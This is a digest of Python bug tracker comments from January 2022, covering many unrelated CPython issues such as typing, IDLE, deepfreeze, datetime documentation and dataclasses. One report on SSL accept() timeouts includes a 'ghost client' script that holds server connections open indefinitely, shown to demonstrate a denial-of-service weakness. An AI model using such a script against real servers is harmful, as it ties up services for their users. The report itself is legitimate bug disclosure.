And if a modification can potentially break long stable code (such as that it the re module), then we absolutely shouldn't do it. x
Further, there is a general design issue. Abstract base classes were invented to solve this specific problem (distinguishing mappings from sequences). ABCs (and typing) are a now well established practice, and it is foolish to try to do an end run around using them.
I am strongly opposed to this going forward and request that a PEP be made if it is pursued further. It is an SC level decision to allow stable code to be broken, to guarantee a CPython specific API for something that cannot be made correct in the general case, and to bypass the intended way to do it.
If the core concern is that isinstance() checks for ABCs are too slow, then efforts should be made to optimize them rather than creating an unreliable, CPython only alternative.

Presumably the OP is referring to this text:
"""
`powerloop()` emulates these divisions, 1 bit at a time, using comparisons,
subtractions, and shifts in a loop.
You'll notice the paper uses an O(1) method instead, but that relies on two
things we don't have:
- An O(1) "count leading zeroes" primitive. We can find such a thing as a C
extension on most platforms, but not all, and there's no uniform spelling
on the platforms that support it.
- Integer division on an integer type twice as wide as needed to hold the
list length. But the latter is Py_ssize_t for us, and is typically the
widest native signed integer type the platform supports.
But since runs in our algorithm are almost never very short, the once-per-run
overhead of `powerloop()` seems lost in the noise.

Yes. Actually the issue is branching, not order of complexity, because looping at most 64 times is a linear-bounded operation. The methods I point out involve no branching! And so can be rather fast. I don't suggest they be used, but that the listsort.txt be revised.

Tim Peters <tim at python.org> added the comment:
I'm not inclined to change anything here. It's a trivial point, and by "primitive" I had in mind a dedicated hardware instruction, blazing fast. Yes, I was aware of long-winded ways of doing it for specific fixed integer widths. But that's not what `O(1)` means. A dead obvious loop testing each bit, one at a time, starting with the MSB, until finding the first bit set, is also O(1) for any fixed-width int size.
So I'm not doing anything here. If someone else creates a PR with text they want to see instead, I'll review it, and if it's not unbearably pedantic ;-) I'll merge it.

Subject: [issue37295] Possible optimizations for math.comb()
In-Reply-To: <1560626260.31.0.393863097125.issue37295@roundup.psfhosted.org>
Message-ID: <1642977735.93.0.243273496103.issue37295@roundup.psfhosted.org>
Tim Peters <tim at python.org> added the comment:
OK, here's the last version I had. Preconditions are that d > 0, n > 0, and n % d == 0.
This version tries to use the narrowest possible integers on each step. The lowermost `good_bits` of dinv at the start of the loop are correct already.
Taking out all the modular stuff, the body of the loop boils down to just
dinv *= 2 - dinv * d
For insight, if
dinv * d = 1 + k*2**i
for some k and i (IOW, if dinv * d = 1 modulo 2**i), then
2 - dinv * d = 1 - k*2**i
and so dinv times that equals 1 - k**2 * 2**(2*i). Or, IOW, the next value of dinv is such that d * dinv = 1 modulo 2**(2*i) - it's good to twice as many bits.
def ediv(n, d):
assert d
def makemask(n):
return (1 << n) - 1
if d & 1 == 0:
ntz = (d & -d).bit_length() - 1
n >>= ntz
d >>= ntz
bits_needed = n.bit_length() - d.bit_length() + 1
good_bits = 3
dinv = d & 7
while good_bits < bits_needed:
twice = min(2 * good_bits, bits_needed)
twomask = makemask(twice)
fac2 = dinv * (d & twomask)
fac2 &= twomask
fac2 = (2 - fac2) & twomask
dinv = (dinv * fac2) & twomask
good_bits = twice
goodmask = makemask(bits_needed)
return ((dinv & goodmask) * (n & goodmask)) & goodmask

Message-ID: <1642985496.62.0.269697400688.issue46494@roundup.psfhosted.org>
New submission from Jelle Zijlstra <jelle.zijlstra at gmail.com>:
I've often seen people say things like "I can't use TypeGuard yet, I'm stuck on 3.9". That's not true, because the typing_extensions package backports all typing features to all supported Python versions.
To help make people aware of this option, we should mention typing_extensions in https://docs.python.org/3.10/library/typing.html.
Perhaps this can go in the "Relevant PEPs" section, or at the end of the intro section.
Suggested wording:
"New features have been added to the typing module in each major version of Python. The typing extensions (link to GitHub) package provides backports to all supported versions of Python 3 for almost all of these features."

Sounds like a great idea. I like the idea of putting it in the "Relevant PEPs" section, as that section already details how the typing module has evolved over the past few major versions of Python.

New submission from Terry J. Reedy <tjreedy at udel.edu>:
Following #41846, master issue for IDLE entries in Doc/whatsnew/3.11.rst. When appropriate, add subsection 'idlelib and IDLE' to 'Improved Modules' The initial entries include important enhancements to IDLE since 3.10.0. (Anything included in 3.10.0 does not belong here.
Because of IDLE's special backport policy (PEP 434), this initial part concludes with "The changes above have been backported to 3.9 maintenance releases." Future subsubsections 'New in 3.10.z:', z >= 1, will follow for backports to 3.10.z. These can precede the backport message as long as it is true. This issue will close after the last 3.10 maintenance release.
3.11.rst will always exist in the master branch. Changes are applied to master and backported as needed at the time. Entries will normally be the same in the What's New x.y for all x.y branches that get the enhancement. However, each file needs different backports. Hence separate PRs are needed for auto backport to work. It seems convenient to have separate issues for each whatsnew/ file.

New submission from Terry J. Reedy <tjreedy at udel.edu>:
Main became 3.11 as of 3.10.0 beta 1: 2021-05-03.
However, backported IDLE issues continued going under What's New 3.10
on both main and 3.10 until 3.10.0rc1, 2021-08-03.
Subsequent idlelib/NEWS.txt items go under
What's New 3.11.0 on main branch
What's New 3.10.1 on 3.10 branch
In other words, idlelib News is handled as if main were branched off as of .0rc1. This is different from the changelog attached to What's New in 3.x.

New submission from David Contreras <dvd.cnt at gmail.com>:
I noticed that selecting Edit>Show Completions works as expected on Python 3.10.2 and macOS 12.1 after issue 40128 was resolved.
But trying the default keyboard shortcut ctrl+S only highlights the edit menu but doesn't work.
I understand that it's supposed to be ctrl+space because that's how it works on windows and it also works in macOS after disabling the default behavior for ctrl+space but this doesn't highlight the edit menu.
On the original issue this behavior was also described but now the issue is closed and the behavior is the same.
So ctrl+S highlights the edit menu but doesn?t show completions and ctrl+space shows completions but has a conflict with the default macOS keyboard shortcuts and is not the shortcut specified on the edit menu and it doesn?t highlight it.

I suggest we mark the method as deprecated and remove it in 3.13.
Making the argparse objects public can be done in a separate enhancement request if there is demand for it.

If the old code is incorrect, can you give an example where it fails? Is it possible to write a unit test demonstrating that the current behavior is wrong?

Tim Peters <tim at python.org> added the comment:
For any fixed width integer type, the worst case of the dead simple loop (all bits are zero) is a fixed upper bound. So you don't mean "constant bounded" either. You mean something more like "clever C code that usually runs faster than the obvious loop".
See my "if it's not unbearably pedantic" comment earlier ;-) Again, by "primitive" I meant HW-level primitive. I agree that's not wholly clear from what I wrote, but really don't care - it's a trivial point that makes no difference in context. The lack of an integer type in C wide enough to support the division the paper uses is _the_ deal-breaker. That C doesn't define a count-leading-zero function either is just a flea on the tail of that dog.

> Kumar, I'm not sure I follow your concerns about the bootstrap working differently on Windows than on Unix. Is the problem that on Unix the bootstrap interpreter is linked without deepfreeze.c so there is no definition of the symbol _Py_Deepfreeze_Fini? In that case, you can probably just add a dummy one to _bootstrap_python.c.
Yes, that comment was outdated as I didn't knew that _bootstrap_python.c and _freeze_module.c are different executables on Linux. In the latest commit it is fixed and there are 0 memory blocks left on Linux and 131 on Windows. The next thing to be done is solving how to restore the code objects before it was quickened.

A simpler example to reproduce it:
test.py
========================================
import threading
import ctypes
from test import test_code
def test_free_different_thread():
f = test_code.CoExtra().get_func()
class ThreadTest(threading.Thread):
def __init__(CoExtra, f, test):
f.test = f
test_code.SetExtra(f.__code__, test_code.FREE_INDEX, ctypes.c_voidp(500))
tt = ThreadTest(f, f)
test_code.CoExtra().assertEqual(test_code.LAST_FREED, 500)
test_free_different_thread()
========================================
Just run test.py on Ubuntu 18.04 and you can observe the crash.

@pitrou
Firstly, I can't agree with `it is quite uncommon to open a file in append mode`. It should be depended to users and their application scenes.
@pablogsal
Secondly, I think `Path.write_*(, append=False)` is better then adding new APIs, as discussed in https://stackoverflow.com/questions/57296168/pathlib-path-write-text-in-append-mode

update,
Confirmed to affect all versions above 3.8+.
It's really annoying.
Command line tools like Repo get a warning after every (success) command.
And mess up with shell.

Sounds like a good idea. I would put it into the introduction. I hear it will easily be missed in other sections.
Wouldn't a link to PyPI make more sense than a GitHub link?

Mark Shannon <mark at hotpy.org> added the comment:
> So it's also a threads scheduling issue, no?
No, it isn't. The interpreter checks the eval breaker frequently enough. It checks on all back edges and on all calls to Python functions.
The test probably needs to be fixed, or extended. It is signals sent from another process or thread that we should be testing for.
I'm happy to merge PR 30826, but if you are really concerned about prompt delivery of signals, then you should be worried about C extensions.
If you are worried about being able to interrupt programs, then you also
worry about poorly written Python code that uses `except:`.
Regarding C extensions, I think clear documentation that extension authors need to check for signals in any code that might run for a few hundred microseconds or longer is the best approach.
For `except:`, maybe we could issue a syntax warning, as `except:` is universally considered to be bad practice.

I don't like this approach as it is opposite to what we did to reduce the size of deep-frozen modules to merge them in one file and this approach requires to split it again.

Do you have an alternative suggestion how to build Python with minimal set of required deepfrozen modules or without any deepfrozen modules at all? A minimal set is not only helpful for Victor's use case. I would also like to use it in WebAssembly builds to reduce the overall file size.

Can't say I haven't thought of that, but AFAIK it would mean breaking the C API substantially. Even if not it'd be a PEP-sized change, IMO.

> Aha. Maybe for now, the memory of immortal code objects can be deallocated in pymain_free(). It's the last function called before Python exit the process.
It seems like a viable option for now to only clear them when python is not embedded and in pymain_free.

Yeah, I pushed the machines up to 2022 the other day while tidying the configs. Wouldn't have expected it to impact that issue though, it's fully within OpenSSL, isn't it? (We also updated that recently...)
Also, as an FYI, if you use "wmic /output:<filename>" then it always writes in utf-16-le with a BOM. It's *very* unlikely you'll ever get output that doesn't fit into MBCS, but if that does ever occur, we can use a temporary file instead of stdout.

Releasing memory in pymain_free() is a good start! At least it fix the issue for the "python" command. So people running a memory debugger like Valgrind will no longer see any leak at "python" exit.

I don't want to change the default. Keeping fast startup time is a nice goal!
I'm asking to make it configurable for my own development workflow: build Python as fast as possible.
It is easy to hack Makefile.am.in and Python/frozen.c to freeze less modules. If you want, I can try to work on a patch to make it configurable. Maybe some people want to freeze... *more* modules, rather than less ;-)

Subject: [issue46502] Py_CompileString no longer allows to tell "incomplete
input" from "invalid input"
Message-ID: <1643039336.79.0.892958421455.issue46502@roundup.psfhosted.org>
New submission from Mateusz Loskot <mateusz at loskot.net>:
Something has changed in Python 3.7 through 3.10 (I'm observing it in 3.10) in behaviour of the Python C API function Py_CompileString such that for an incomplete input it no longer raises
SyntaxError: "unexpected EOF while parsing"
but
IndentationError: expected an indented block after ...
The new behaviour makes the sample program from the "How do I tell ?incomplete input? from ?invalid input??" at https://docs.python.org/3/faq/extending.html no longer work as described there.
For example:
```
for i in []:
```
raises
IndentationError: expected an indented block after 'for' statement on line 1
```
if True:
```
raises
IndentationError: expected an indented block after 'if' statement on line 1
instead of
SyntaxError: unexpected EOF while parsing
This effectively makes it impossible to detect incomplete input using the Py_CompileString in applications where it is not possible to use PyRun_InteractiveLoop.
I have failed to identify what could be related changes in the release notes and the documentation does not seem to offer any update on that.
So, I'm assuming the new behaviour is not desired or expected.
Attached, is the VS 2022 screenshot with debugging session of the sample program from the FAQ presenting the difference in the behaviour between Python 3.6 and 3.10 on Windows.

Ken Jin <kenjin4096 at gmail.com> added the comment:
I'm a little conflicted on this specific use case (but maybe I'm biased because I wrote the checks :).
I'm a strong proponent of less runtime checks. However, in this case, the exceptions serve as easy hints to the user, and they're meant to catch the most basic of errors. At the same time they barely add any overhead to our code.
Also, the last check may be required so that we can easily support subscripts (due to runtime quirks). I vaguely remember Serhiy mentioning that the semantics for subscripting a Callable[Concatenate[...], ...] is undefined by PEP 612. We were planning to formalize/reject the behavior, but I dropped the ball on that due to a lack of time. If that materializes, we're gonna raise an unclear runtime error about not enough typevars at subscript time anyways, so we might as well clearly tell the user at the start to prevent confusion.

I noticed that you have been looking into the __main__ block of test modules. Wouldn't it make more sense to just remove the __main__ and have all tests go through regrtest? Everybody should use
./python -m regrtest test_typing
or the Windows equivalent to run typing tests.

Eryk Sun <eryksun at gmail.com> added the comment:
> It's *very* unlikely you'll ever get output that doesn't fit into MBCS,
When writing to a pipe, wmic.exe hard codes using the process OEM code page (i.e. CP_OEMCP). If it matters, running wmic.exe with subprocess should use encoding='oem' instead of text=True.
That said, wmic.exe is deprecated. I suggest using PowerShell instead. For example:
import os
import json
import subprocess
cmd = 'Get-CimInstance Win32_OperatingSystem | Select Caption, Version | ConvertTo-Json'
p = subprocess.run(f'powershell.exe -c "{cmd}"', capture_output=True, encoding=os.device_encoding(1))
result = json.loads(p.stdout)
PowerShell uses the console's output code page (i.e. os.device_encoding(1)) when writing to stdout, even if it's a pipe. (If PowerShell is run without a console via DETACHED_PROCESS, then it outputs nothing to stdout.) The only way I know of to make PowerShell write UTF-8 to stdout when it's a pipe is by temporarily changing the console output code page. Assuming the current process has a console, you have to first get the current code page with GetConsoleOutputCP(). Change the code page to UTF-8 via SetConsoleOutputCP(CP_UTF8). Run the PowerShell command. Finally, restore the original code page.
Maybe subprocess should provide a context manager to set the console code pages before a call, and restore the previous console code pages and console modes after a call completes. That's what CLI shells such as CMD do when running an external program.

Paul Ganssle <bpo at m.ganssle.io> added the comment:
Sorry I missed this! Thank you for taking the time to write this up and to make a PR.
Unfortunately, I don't think I agree with the idea of warning about this. The warnings about `utcnow` and `utcfromtimestamp` are a problem because `utcnow` and `utcfromtimestamp` are intended to represent times in UTC, but they return datetimes that actually represent local times in the semantics of modern Python. Basically, these functions are dangerous not because they are using na?ve datetimes, but because they are *mis*using na?ve datetimes.
The same can not be said of `.isoformat()`, which is doing the right thing when you use `datetime.now().isoformat()`. If you look at Wikipedia's article on ISO 8601 (which is pretty much the best resource on this, since ISO 8601 is itself paywalled and we never should have standardized on a proprietary standard in the first place), you'll see it says:
> Local time (unqualified)
> If no UTC relation information is given with a time representation, the time is assumed to be in local time. While it may be safe to assume local time when communicating in the same time zone, it is ambiguous when used in communicating across different time zones.
It may be that for the kind of programming you do, it doesn't make sense to use local datetimes in an interchange format ? but it is a legitimate use case and there are definitely situations where it is very much the right thing to do, so I don't think we should warn against it in the `datetime.isoformat` documentation.
There is *might* be some case for warning about this or something like it in the `datetime.now` documentation. The major use cases for na?ve datetimes are things where you are working with system time or things where you are working with dates in the future ? you don't want to specify that some event is going to happen at 2030-03-31T12:00Z if the actual event is planned for April 1, 2030 at 13:00 *London time*, because if, between now and then, the UK decides to cancel DST or move the start back a week, the event you've stored as a UTC time now longer represents what it was intended to represent. In a lot of cases `datetime.now()` will just be used as "what time is it now", which is not subject to that particular problem because by the time the datetime gets stored or used, `datetime.now()` is a date in the *past*, and can safely be converted to UTC for all time.
Of course, if you are consuming a bunch of event dates stored in local time and you want to compare them to the current time, then `datetime.now()` would be appropriate. Similarly if you want to display the current time to a user on a given system (rather than logging or storing it), it would also make sense to do things like `print(datetime.now().isoformat())`, so there are definitely also legitimate use cases for `datetime.now()`.
I'm inclined to say that we should *not* have a warning on `datetime.now()`, because we will give people warning fatigue if we do, and we definitely want people to see `now()` as the correct alternative to `utcnow()`. I am more sympathetic to rewording the `.now()` documentation to make it clear that this will be a na?ve time *representing the current time in the system local time zone* if `None` is passed (i.e. rewording or appending to the "If optional argument `tz`" paragraph).

The documentation should explicitly mention that an event loop should be accessed from only one thread (it hints at this by referring to "the loop of the current thread" but I don't see this stated clearly).
In the code, it would be good if multi-threaded access failed with a clearer error.

Subject: [issue46504] Faster code for trial quotient in x_divrem
Message-ID: <1643049988.78.0.00524175135095.issue46504@roundup.psfhosted.org>
New submission from Tim Peters <tim at python.org>:
x_divrem1() was recently (bpo-46406) changed to generate faster code for division, essentially nudging optimizing compilers into recognizing that modern processors compute the quotient and remainder with a single machine instruction.
The same can be done for x_divrem(), although it's less valuable there because the HW division generally accounts for a much smaller percent of its total runtime.
Still, it does cut a multiply and subtract out of the loop, and makes the code more obvious (since it brings x_divrem1() and x_divrem() back into synch).

All asyncio loop methods except `loop.call_soon_threadsafe()` should be done from the same thread as been used for the loop creation.
Did you violate this rule?

I think the script does violate the rule:
t = threading.Thread(target=do_loop, args=(loop,))
and then do_loop closes the loop that was created in the main thread.

PyCompileError takes both type and value of the exception, which is no longer necessary. Fortunately neither its constructor signature nor its fields are documented so it can be simplified.

Kuba Sunderland-Ober <kuba at mareimbrium.org> added the comment:
I'm looking very much forward to isolated subinterpreters and thus the per-subinterpreter GIL, as I've been keeping a private exploratory project where I had to make them work.
Here are my thoughts:
1. Any sort of reference count on heavily used objects cannot be shared between the threads, even if its value is otherwise ignored. I.e., a write-only shared refcount is already a no-no. The mere fact that it's being modified from different threads is a performance bottleneck, as the cacheline that holds the refcount has to be shuttled between cores. That's a bad thing and the penalty only becomes worse as the time marches on.
2. For platforms where the C language supports thread-local storage (TLS) at the declaration level, it's trivial to have "global static" immortal objects become thread-local static. This could be perhaps an escape to keep old code working to an extent, as opposed to immediately breaking. On such platforms, the `PyGet_Foo` API can be on equal footing with the legacy `Py_Foo` statics, i.e. both would do the same thing. That's how I've done it in my experiment. The obvious problem is that on platforms without compiler support for TLS, `Py_Foo` would be unavailable, and that's probably a no-go for an API that wouldn't be deprecated. For portability, everyone should be using `PyGet_Foo`, iff platforms without language-level TLS support are of interest (are they? what would they be?)

Yeah, I think we need a complete example here.
Note that in the general case there is no such thing as an RFC-valid email in unicode (which is what python strings are), though with utf8=True and an email involving only text you might get away with it. I assume you've tried policy=policy.default.clone(utf=True) when creating the email?
It will probably help to encode the 'text' to utf8 and use message_from_bytes to read it, but that may not be your only problem. It depends on exactly what is in the message and how the message gets recorded in your XML whether this is even going to work in the general case. The xml conversion may have already lost information, but hopefully not.

I was modifying the try/except/finally/else code generation and wanted to run my own benchmarks.
It's cumbersome to edit them in a command to test different variations, especially when you have to indent.

Subject: [issue46506] [Windows] wrap CreateFile to support follow_symlinks
Message-ID: <1643059470.04.0.661818040918.issue46506@roundup.psfhosted.org>
New submission from Eryk Sun <eryksun at gmail.com>:
Issue 46490 proposes to support follow_symlinks in os.utime() on Windows. Instead of duplicating the os.stat() implementation of follow_symlinks, I suggest factoring out a common _Py_CreateFile() function with two additional parameters: traverse (input) and pFileInfo (output).
The `traverse` parameter would indicate whether to traverse or open a name-surrogate reparse point. However, FILE_FLAG_OPEN_REPARSE_POINT should take precedence over `traverse` and open any type of reparse point.
The pFileInfo parameter would be an optional pointer to a struct that receives the file type (disk, char, pipe), file attributes, and reparse tag. Querying this information is required when `traverse` is false. There may as well be a way to return it.
Since Windows 7 hasn't been supported since 3.8, this is also an opportunity to switch to the newer CreateFile2() function [1], which is required in order to use new file flags added to the API such as FILE_FLAG_OPEN_REQUIRING_OPLOCK.

New submission from julien tayon <julien at tayon.net>:
well, you want to use
python3 -mcProfile -othis.prof 'oneliner in python to test something'
And weirdly enough this normally expected behaviour does not work.
It's because last argument is expected to be the path of the script name to profile.
But, it can be fixed easily with no downside
Since it is an expected behaviour and is minimal changing anything in documentation or news seems to superfluous
An exemple of ? this is a standard de fait ? is the fact that the awesome module of vstinner timeit does this already.

Django uses 390,000 iterations as of late 2021, as does the Python Cryptography project. We should be aligned with their recommendations, or at least a good deal closer than we are now.
390,000 actually makes it a conservative recommendation for key derivation, as that number of rounds takes ~133ms to compute on my M1 versus 36ms. Usually you're shooting for ~250ms.
Being off by ~50% is probably okay, being off by this much is considerably worse.
Anyways, I'd be happy to make such a PR if folks are amenable to it.

Should this have been "filled*3" rather than "used*3"?
The intent was to give a larger resize to dict that had a lot of dummy entries and a smaller resize to dicts without deletions.

Message-ID: <1643069542.61.0.619122428664.issue46508@roundup.psfhosted.org>
New submission from Gregory P. Smith <greg at krypto.org>:
in 3.8 this was not a valid codec name: "?_?_?_iDnA"
in 3.9 it gets treated as idna and triggers the punycode decoder when passed to bytes.decode(codec).
Discovered by oss-fuzz.
_Likely_ a consequence of https://bugs.python.org/issue37751
The consequences of this change are that anyone can stuff heinous strings into codec names and get a non-LookupError behavior out of them. Anywhere codecs can be part of user input this has many interesting potential negative consequences.
<=3.8 gave `LookupError("unknown encoding: ...`

> The only way to safely launch worker processes on demand is to spawn a worker launcher process spawned prior to any thread creation that remains idle, with a sole job of spawn new worker processes for us. That sounds complicated. That'd be a feature. Lets go with the bugfix first.
fork is not the only way to launch worker process. We have spawn. And sapwn is the default for macOS since Python 3.8.
Simple reverting seems not good for macOS users, since they need to pay cost for both of pre-spawning and spawn.
Can't we just pre-spawn only when fork is used?

Note that f'\N ' (with a single space) isn't enough to trigger this behavior. It requires at least two characters after the '\N'. The first is when the invalid string is recognized, and it's the presence of the second character that triggers the failed assert.

Dennis Sweeney <sweeney.dennis650 at gmail.com> added the comment:
This attempts to avoid the dispatch dance of
Py_DECREF(op) :: Py_TYPE(op)->tp_dealloc(op) :: Py_TYPE(op)->tp_free((PyObject *)op);
I suspect this earns the most speedup from floats, where freelist manipulation can be inlined. This might make a single-digit-int freelist more impactful.

Jelle Zijlstra <jelle.zijlstra at gmail.com> added the comment:
The linked PR makes `T = TypeVar("T"); T[int]` work. That's not currently meaningful syntax to the type checker, but we may want it in the future for higher-kinded types. I would rather not make this change without a clear static typing use case in mind.

In the end I was able to restore the codeobjects before they were quickened so it works for both embedded and python command now. See the latest commits and it is also ready for review now.

Message-ID: <1643096464.21.0.982356437879.issue46510@roundup.psfhosted.org>
New submission from Irit Katriel <iritkatriel at gmail.com>:
Following issue45711 the redundancy in exc_info is now explicit. This means that we can now safely update places that still use python2-style exception handling code, like:
exc_type, exc_value = sys.exc_info()[:2]
try:
response = dumps(
Fault(1, "%s:%s" % (exc_type, exc_value)),
encoding=self.encoding, allow_none=self.allow_none)
response = response.encode(self.encoding, 'xmlcharrefreplace')
finally:
# Break reference cycle
exc_type = exc_value = None

I slowly started to work on rstlint in its own tree because working in a single file felt inconfortable.
The more I advanced in this direction the more it made sense to me:
- I first added tests, I may have been able to do so in the cpython tree though.
- It would ease the publication of it to pypi.org so it can be used by other projects.
- It may ease contributions (some non-core-devs could be given rights to the repo, which make sense as it's not really Python related but more Sphinx related).
It currently looks like this: https://github.com/JulienPalard/sphinxlint but should obviously be moved to github.com/python/ if we adopt this direction.
So what do you think? (cc Georg as the main author of the script)
If so I'd also like to rename the thing, it's currently named `rstlint`, but it's more a `sphinxlint` as Sphinx has adds a lot to rst and existing rst linters does not handle Sphinx well.

My question from last year has not been answered yet. Is there any valid scientific research on the number of rounds or duration? I neither know nor do I understand how Django came up with the numbers. PyCA cryptography copied the numbers without questioning them.
Were does 250ms come from? 250ms at 100% CPU load sound way too costly for a website login and too fast for a password manager. For comparison Argon2's default runtime on my laptop is 50ms.

Subject: [issue46511] dataclasses: Allow typing.Annotated to wrap
dataclasses-specific annotations
Message-ID: <1643101368.65.0.575407689959.issue46511@roundup.psfhosted.org>
New submission from Gregory Beauregard <greg at greg.red>:
In https://bugs.python.org/issue46491 the typing runtime behavior was changed so that `Annotated[Classvar[...]]` is now valid at runtime in order to alleviate tension between typing and non-typing annotation space uses. dataclasses.py should likely follow suit in its runtime use of `ClassVar` and `InitVar`.
Reviewing the code I see two areas that would need addressed:
1) `InitVar` needs changed so `Annotated[InitVar[...]]` is no longer a runtime error. This is currently a runtime error completely by accident: typing.py expects special type forms to be `callable()`, usually by implementing a `__call__` that throws an error, but `InitVar` does not implement this. Adding an implementation like in typing.py would fix the runtime error:
https://github.com/python/cpython/blob/b1a3446f077b7d56b89f55d98dadb8018986a3e5/Lib/typing.py#L391-L392
2) The dataclasses-specific typehint introspection implementation needs modified to accommodate being wrapped by an `Annotated` annotation. I see in the comments the code is performance sensitive so I'm not sure what you want to do; f.ex. the regex needs modified, but it's not clean.
What are your thoughts?

IMHO, I don't think any alternative to aviramha's solution addresses the issue, And I don't think the need is niche enough to be ignored.
PyType_HasFeature excludes strings, bytes, and other esoteric types.
PyMapping_Check includes mappings like dict and MappingProxyType.
PySequence_Check includes non-dict mappings like MappingProxyType.
The only possible solutions right now are:
a. Import the "collections.abc.Sequence" class into C and run "PyObject_IsInstance" on it. This would be the correct solution, but it would be slower than aviramha's propsal.
b. Perform's aviramha's proposal manually: first check the "Py_TPFLAGS_SEQUENCE" feature flag, and fallback for instance checking strings, bytecodes, and other esoteric types individually. This would be correct and fast, but is cumbersome to perform, and users are bound to forget some types.
A question as simple as "would isinstance(X, <Sequence/Mapping>) returns true?" should be easier to answer for low-level developer, one only needs to look at the finagling numpy, among others, has to perform to parse a sequence (the relevant function in numpy is called "PyArray_FromAny").
A simple implementation of a new function for non-CPython alternatives will be to do implement solution a: import "collections.abc.Sequence", and check for instance. For CPYTHON, this can be optimized by implementing solution b.
There is already a precedence for ABI functions that only exist because its trivial implementation can be optimized with CPython specific behaviour. I don't understand the reluctance to add this one.

Subject: [issue46512] Explicit or correct behavior of filecmp.cmpfiles w/
absolute path names
Message-ID: <1643103970.65.0.0273493721081.issue46512@roundup.psfhosted.org>
New submission from bers <bers at gmx.net>:
It is very easy to use filecmp.cmpfiles incorrectly by passing absolute path names. This is because
1. the documentations does not say that relative path names have to be passed, and
2. filecmp.cmpfiles does not issue a warning when absolute path names are passed.
Consider this example code, which does look sensible at first glance:
files = dir_a.glob("*")
(equal, _, _) = filecmp.cmpfiles(dir_a, dir_b, files, shallow=False)
print("equal:", *equal)
However, in the full example below, you will see that this code fails to detect that two files are actually different.
"""Demo behavior of filecmp.cmpfiles with absolute path names."""
import filecmp
import tempfile
from pathlib import Path
with tempfile.TemporaryDirectory() as tmpdirname:
# prepare two different files
tmpdir = Path(tmpdirname)
dir_a = tmpdir / "a"
dir_b = tmpdir / "b"
file_a = dir_a / "foo.txt"
file_b = dir_b / "foo.txt"
dir_a.mkdir()
dir_b.mkdir()
file_a.write_text("A")
file_b.write_text("B")
# actually diff the files
files = dir_a.glob("*")
# filecmp should issue a warning here!
(equal, _, _) = filecmp.cmpfiles(dir_a, dir_b, files, shallow=False)
# otherwise, this result is easy to misinterpret - files are reported as equal
print("equal:", *equal)

You gave me a small shock, but I checked and it was only 11/12 years ago :D
I'm fine with moving this out of tree; please coordinate with the Sphinx maintainers whether it should be an "official" extension or completely separate.

Brett Randall <javabrett at gmail.com> added the comment:
For the possible benefit of future readers of this issue, the sequence and behaviour here which may cause confusion:
- say stdin is closed, perhaps along with stdout and stderr via a call to os.closerange(0, 3) or otherwise
- os.open() is called and creates a new fd=0, which will always be 0 since 0 is now available and lowest. Per PEP 446 this fd is non-inheritable.
- a call to os.dup2(fd, 0) is made but is a noop, since fd=0 and dup2() ignores copy-to-same. This behaviour may go unnoticed - it may not be noticed that the new fd=0 (it should always be this), or that dup2() has this noop behaviour. Per PEP 446, dup2() still creates inheritable by-default, so the caller may expect that they have just assigned an inheritable fd to stdin, instead of a noop.
- subprocess() is called and the subprocess does not have stdin/0 fd assigned, since it was not inheritable.
It seems the main way to avoid this is to os.open() the replacement fd _before_ closing stdin/0, in which case it will receive an fd >= 3. The dup2(fd, 0) call will then work and the resulting fd 0 will be inheritable, including by-default by subprocess() processes.

Message-ID: <1643110113.83.0.504507285234.issue46513@roundup.psfhosted.org>
New submission from Miro Hron?ok <miro at hroncok.cz>:
As described at https://mail.python.org/archives/list/python-dev at python.org/thread/MPHZ3TGSHMSF7C4P7JEP2ZCYLRA3ERC5/ the AC_C_CHAR_UNSIGNED macro from configure.ac confuses GCC 12+ as it exports a reserved symbol __CHAR_UNSIGNED__ through pyconfig.h.
My assumption was that AC_C_CHAR_UNSIGNED can be dropped entirely and the PR in https://github.com/python/cpython/pull/30851 confirmed that all the buildbots are happy with such change. Hence, I open this issue to actually do it.
Thanks

That's my intention too, in argparse it was used to get the currently handled exception value which can be easily accessed by using "as" in exception handling, so it makes sense to change it, not to mention that using exc_info creates a temporary tuple which is of no use in this scenario.

In urllib.request, there are in a few places things like:
except OSError as msg:
raise OSError('socket error', msg).with_traceback(sys.exc_info()[2])
I imagine this predates chaining - is there a reason not to raise..from here instead of wrapping the "msg" exception (I'm guessing from the name that this used to be a string, but now it's actually an exception).

Subject: [issue46518] SSL socket timeout not set after client connects via
accept
Message-ID: <1643114321.92.0.142343985448.issue46518@roundup.psfhosted.org>
New submission from tomazas <tomas.uktveris at gmail.com>:
Once a client connects to a SSL server over socket accept() the newly returned client socket `newsock` is wrapped in SSL context.
Since the new client `newsock` does not have a socket timeout set (i.e. None), the final returned SSL context socket is also assigned `None` socket timeout. Clients are then able to connect to such server and hold the connection indefinitely without sending any data to server (ghosting the server connections).
Problematic excerpt from Lib/ssl.py:
```
def accept(self):
"""Accepts a new connection from a remote client, and returns
a tuple containing that new connection wrapped with a server-side
SSL channel, and the address of the remote client."""
newsock, addr = super().accept()
newsock = self.context.wrap_socket(newsock,
do_handshake_on_connect=self.do_handshake_on_connect,
suppress_ragged_eofs=self.suppress_ragged_eofs,
server_side=True)
return newsock, addr
```
Attached minimal https.py server Python3 example producing the issue.
After the server is working run the bellow ghost client script to produce the issue:
```
# Script implements ghost client (that does not send anything to server but keeps connection active until server socket timeouts or forever if socket timeouts are not working)
# Usage - after https.py server is launched run using: python3 ghost.py
import socket
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(("localhost", 443))
print("connected")
while True:
print("ghosting started")
data = sock.recv(4096) # read to block
if not data:
break
print(data)
print("done.")
```
Possible workarounds:
1. socket.setdefaulttimeout(2) - works but interferes with all possible socket operations
2. Patch the socket accept() operation and set the timeout value there before doing any socket operations, e.g.:
```
import socket
old_accept = socket.socket.accept
def patch_accept(self):
newsock, addr = old_accept(self)
newsock.settimeout(2) # sets the client socket timeout
print("socket.accept patched")
return newsock, addr
socket.socket.accept = patch_accept
# TODO: now run all the SSL server socket code here
```

Steve Dower <steve.dower at python.org> added the comment:
> Our challenge with the installer is the portability of Wix Toolset. I'm pretty sure our current version doesn't support ARM64, and they haven't released a newer version that does yet.
Turns out they've released some test versions that support it (partially, but enough), just nothing that they've declared stable. I'll push updated tools for 3.11 so we have a chance to discover any breakage in earlier versions, but should be able to do ARM64 regular installer next alpha (Pablo, FYI - this will require updates to your side of things).

Subject: [issue46519] test_typing failing on branch 3.10
Message-ID: <1643116108.88.0.430813061479.issue46519@roundup.psfhosted.org>
New submission from Matheus Castanho <msc at linux.ibm.com>:
test_typing on branch 3.10 is failing after GH-30770 [1]
test test_typing failed -- Traceback (most recent call last):
